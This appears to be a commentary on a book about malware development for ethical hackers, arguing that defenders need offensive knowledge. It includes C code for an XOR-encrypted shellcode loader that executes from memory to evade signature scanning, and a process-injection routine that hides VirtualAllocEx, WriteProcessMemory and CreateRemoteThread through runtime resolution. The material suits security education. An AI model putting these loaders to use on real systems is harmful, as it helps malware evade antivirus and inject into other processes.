The argument at the center of Zhassulan Zhussupov's Malware Development for Ethical Hackers is uncomfortable and correct: if you cannot write the attack, you do not fully understand what you're defending against.
This is about the epistemology of adversarial security. Blue teams that have never written a persistence mechanism do not recognize one the way red teams do. Defenders who have never obfuscated a payload cannot reliably distinguish obfuscated from clean. The knowledge asymmetry is a vulnerability, and the book treats it as one.
Authorized testing environments, written permission, scoped engagements — the legal scaffolding is table stakes. The point is what happens inside that scaffolding.
Static Detection Bypass: XOR and the Signature Problem
Antivirus and EDR static analysis work by matching byte patterns against known signatures. The same payload, XOR'd with a single byte key, produces a completely different byte sequence. No signature match. Clean scan.
#include <windows.h>
#include <stdio.h>
// XOR encrypt/decrypt — symmetric, so the same function does both
void xor_crypt(unsigned char *data, size_t len, unsigned char key) {
for (size_t i = 0; i < len; i++) {
data[i] ^= key;
}
}
// In a real implant: payload bytes are stored XOR'd in the binary
// At runtime: decrypt in memory, execute from memory
// The plaintext payload never touches disk — no file to scan
unsigned char encrypted_payload[] = {
0x23, 0x71, 0x4a, 0x1f, /* ... XOR'd shellcode bytes ... */
};
int main() {
unsigned char key = 0x42;
size_t payload_len = sizeof(encrypted_payload);
// Decrypt in memory
xor_crypt(encrypted_payload, payload_len, key);
// Allocate executable memory and run
LPVOID exec_mem = VirtualAlloc(
NULL, payload_len,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
memcpy(exec_mem, encrypted_payload, payload_len);
((void(*)())exec_mem)();
return 0;
}
XOR is the entry-level technique. The book covers it as a foundation, not a destination. Modern implementations use rolling keys, multi-byte XOR, or layer obfuscation with additional encoding. The principle is the same: transform the bytes so they match no known signature, then restore them at runtime inside a process that's already running.
Function Call Obfuscation: Hiding Intent from Static Analysis
A binary that imports CreateRemoteThread or VirtualAllocEx announces itself to any analyst reading its import table. These are high-signal Windows API calls. Static analysis tools flag binaries that import them.
Dynamic resolution hides the intent. Instead of importing the function directly, resolve it at runtime through GetProcAddress — a generic function that returns a pointer to any exported symbol by name. The import table shows LoadLibraryA and GetProcAddress. The actual API calls happen at runtime and are invisible to static analysis.
#include <windows.h>
// Function pointer types for the calls we want to hide
typedef LPVOID (WINAPI *pfnVirtualAllocEx)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD);
typedef BOOL (WINAPI *pfnWriteProcessMemory)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*);
typedef HANDLE (WINAPI *pfnCreateRemoteThread)(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T,
LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
void inject_via_dynamic_resolution(HANDLE target_process, unsigned char *payload, size_t len) {
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
// Resolve at runtime — not visible in the import table
pfnVirtualAllocEx VAlloc = (pfnVirtualAllocEx) GetProcAddress(hKernel32, "VirtualAllocEx");
pfnWriteProcessMemory WPM = (pfnWriteProcessMemory)GetProcAddress(hKernel32, "WriteProcessMemory");
pfnCreateRemoteThread CRT = (pfnCreateRemoteThread)GetProcAddress(hKernel32, "CreateRemoteThread");
// Allocate memory in the target process
LPVOID remote_buf = VAlloc(target_process, NULL, len,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// Write payload into target's memory space
WPM(target_process, remote_buf, payload, len, NULL);
// Execute in target process context
CRT(target_process, NULL, 0, (LPTHREAD_START_ROUTINE)remote_buf, NULL, 0, NULL);
}
The blue team answer is dynamic analysis — actually running the binary and observing what API calls it makes at runtime. Static analysis alone is not sufficient against a binary that resolves its most dangerous calls dynamically. This is the knowledge asymmetry: defenders who have never written this code often rely on static analysis longer than they should.
